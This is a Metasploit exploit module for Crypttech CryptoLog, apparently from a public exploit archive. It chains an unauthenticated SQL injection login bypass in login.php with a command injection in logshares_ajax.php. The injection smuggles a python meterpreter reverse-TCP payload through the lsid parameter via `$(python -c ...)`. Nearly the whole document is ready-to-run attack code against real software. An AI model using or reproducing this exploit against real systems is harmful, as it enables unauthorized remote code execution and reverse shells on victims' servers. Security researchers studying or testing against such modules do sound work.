Crypttech CryptoLog Remote Code Execution

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "Crypttech CryptoLog Remote Code Execution",  
'Description' => %q{  
This module exploits the sql injection and command injection vulnerability of CryptoLog. An un-authenticated user can execute a  
terminal command under the context of the web user.  
  
login.php endpoint is responsible for login process. One of the user supplied parameter is used by the application without input validation  
and parameter binding. Which cause a sql injection vulnerability. Successfully exploitation of this vulnerability gives us the valid session.  
  
logshares_ajax.php endpoint is responsible for executing an operation system command. It's not possible to access this endpoint without having  
a valid session. One user parameter is used by the application while executing operating system command which cause a command injection issue.  
  
Combining these vulnerabilities gives us opportunity execute operation system command under the context of the web user.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Mehmet Ince <[email protected]>' # author & msf module  
],  
'References' =>  
[  
['URL', 'https://pentest.blog/advisory-cryptolog-unauthenticated-remote-code-execution/']  
],  
'DefaultOptions' =>  
{  
'Payload' => 'python/meterpreter/reverse_tcp'  
},  
'Platform' => ['python'],  
'Arch' => ARCH_PYTHON,  
'Targets' => [[ 'Automatic', { }]],  
'Privileged' => false,  
'DisclosureDate' => "May 3 2017",  
'DefaultTarget' => 0  
))  
  
register_options(  
[  
Opt::RPORT(80),  
OptString.new('TARGETURI', [true, 'The URI of the vulnerable CryptoLog instance', '/'])  
]  
)  
end  
  
def bypass_login  
r = rand_text_alpha(15)  
i = rand_text_numeric(5)  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'cryptolog', 'login.php'),  
'vars_get' => {  
'act' => 'login'  
},  
'vars_post' => {  
'user' => "' OR #{i}=#{i}#",  
'pass' => "#{r}"  
}  
})  
  
if res && res.code == 302 && res.headers.include?('Set-Cookie')  
res.get_cookies  
else  
nil  
end  
end  
  
def check  
if bypass_login.nil?  
Exploit::CheckCode::Safe  
else  
Exploit::CheckCode::Appears  
end  
end  
  
def exploit  
print_status("Bypassing login by exploiting SQLi flaw")  
  
cookie = bypass_login  
  
if cookie.nil?  
fail_with(Failure::Unknown, "Something went wrong.")  
end  
  
print_good("Successfully logged in")  
  
print_status("Exploiting command injection flaw")  
r = rand_text_alpha(15)  
  
send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'cryptolog', 'logshares_ajax.php'),  
'cookie' => cookie,  
'vars_post' => {  
'opt' => "check",  
'lsid' => "$(python -c \"#{payload.encoded}\")",  
'lssharetype' => "#{r}"  
}  
})  
  
end  
end  
`